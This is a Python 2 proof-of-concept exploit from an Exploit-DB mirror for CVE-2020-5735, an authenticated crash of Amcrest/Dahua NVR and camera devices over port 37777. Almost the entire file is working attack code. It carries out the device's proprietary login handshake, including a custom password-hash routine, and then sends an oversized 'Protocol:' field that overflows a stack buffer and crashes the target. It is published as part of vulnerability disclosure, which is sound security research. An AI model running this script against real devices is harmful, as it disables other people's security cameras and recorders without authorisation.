exploit-db-mirror/exploits/hardware/dos/48304.py

# Exploit Title: Amcrest Dahua NVR Camera IP2M-841 - Denial of Service (PoC)
# Date: 2020-04-07
# Exploit Author: Jacob Baines
# Vendor Homepage: https://amcrest.com/
# Software Link: https://amcrest.com/firmwaredownloads
# Version: Many different versions due to number of Dahua/Amcrest/etc
# devices affected
# Tested on: Amcrest IP2M-841 2.420.AC00.18.R and AMDVTENL8-H5
# 4.000.00AC000.0
# CVE : CVE-2020-5735
# Advisory: https://www.tenable.com/security/research/tra-2020-20
# Amcrest & Dahua NVR/Camera Port 37777 Authenticated Crash

import argparse
import hashlib
import socket
import struct
import sys
import md5
import re

## DDNS test functionality. Stack overflow via memcpy

def recv_response(sock):
    # minimum size is 32 bytes
    header = sock.recv(32)

    # check we received enough data
    if len(header) != 32:
        print 'Invalid response. Too short'
        return (False, '', '')

    # extract the payload length field
    length_field = header[4:8]
    payload_length = struct.unpack_from('I', length_field)
    payload_length = payload_length[0]

    # uhm... lets be restrictive of accepted lengths
    if payload_length < 0 or payload_length > 4096:
        print 'Invalid response. Bad payload length'
        return (False, header, '')

    if (payload_length == 0):
        return (True, header, '')

    payload = sock.recv(payload_length)
    if len(payload) != payload_length:
        print 'Invalid response. Bad received length'
        return (False, header, payload)

    return (True, header, payload)

def sofia_hash(msg):
    h = ""
    m = hashlib.md5()
    m.update(msg)
    msg_md5 = m.digest()
    for i in range(8):
        n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
        if n > 9:
            if n > 35:
                n += 61
            else:
                n += 55
        else:
            n += 0x30
        h += chr(n)
    return h

top_parser = argparse.ArgumentParser(description='lol')
top_parser.add_argument('-i', '--ip', action="store", dest="ip",
required=True, help="The IPv4 address to connect to")
top_parser.add_argument('-p', '--port', action="store", dest="port",
type=int, help="The port to connect to", default="37777")
top_parser.add_argument('-u', '--username', action="store",
dest="username", help="The user to login as", default="admin")
top_parser.add_argument('--pass', action="store", dest="password",
required=True, help="The password to use")
args = top_parser.parse_args()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
sock.connect((args.ip, args.port))
print "[+] Connected!"

# send the old style login request. We'll use blank hashes. This should
# trigger a challenge from new versions of the camera
old_login = ("\xa0\x05\x00\x60\x00\x00\x00\x00" +
             "\x00\x00\x00\x00\x00\x00\x00\x00" + # username hash
             "\x00\x00\x00\x00\x00\x00\x00\x00" + # password hash
             "\x05\x02\x00\x01\x00\x00\xa1\xaa")
sock.sendall(old_login)
(success, header, challenge) = recv_response(sock)
if success == False or not challenge:
    print 'Failed to receive the challenge'
    print challenge
    sys.exit(0)

# extract the realm and random seed
seeds = re.search("Realm:(Login to [A-Za-z0-9]+)\r\nRandom:([0-9]+)\r\n",
challenge)
if seeds == None:
    print 'Failed to extract realm and random seed.'
    print challenge
    sys.exit(0)

realm = seeds.group(1)
random = seeds.group(2)

# compute the response
realm_hash = md5.new(args.username + ":" + realm + ":" +
args.password).hexdigest().upper()
random_hash = md5.new(args.username + ":" + random + ":" +
realm_hash).hexdigest().upper()
sofia_result = sofia_hash(args.password)
final_hash = md5.new(args.username + ":" + random + ":" +
sofia_result).hexdigest().upper()

challenge_resp = ("\xa0\x05\x00\x60\x47\x00\x00\x00" +
                  "\x00\x00\x00\x00\x00\x00\x00\x00" +
                  "\x00\x00\x00\x00\x00\x00\x00\x00" +
                  "\x05\x02\x00\x08\x00\x00\xa1\xaa" +
                  args.username + "&&" + random_hash + final_hash)
sock.sendall(challenge_resp)

(success, header, payload) = recv_response(sock)
if success == False or not header:
    print 'Failed to receive the session id'
    sys.exit(0)

session_id_bin = header[16:20]
session_id_int = struct.unpack_from('I', session_id_bin)
if session_id_int[0] == 0:
    print "Log in failed."
    sys.exit(0)

session_id = session_id_int[0]
print "[+] Session ID: " + str(session_id)

# firmware version
command = "Protocol: " + ("a" * 0x300) + "\r\n"
command_length = struct.pack("I", len(command))
firmware = ("\x62\x00\x00\x00" + command_length +
            "\x04\x00\x00\x00\x00\x00\x00\x00" +
            "\x00\x00\x00\x00\x00\x00\x00\x00" +
            "\x00\x00\x00\x00\x00\x00\x00\x00" +
            command)
sock.sendall(firmware)
(success, header, firmware_string) = recv_response(sock)
if success == False and not header:
    print "[!] Probably crashed the server."
else:
    print "[+] Attack failed."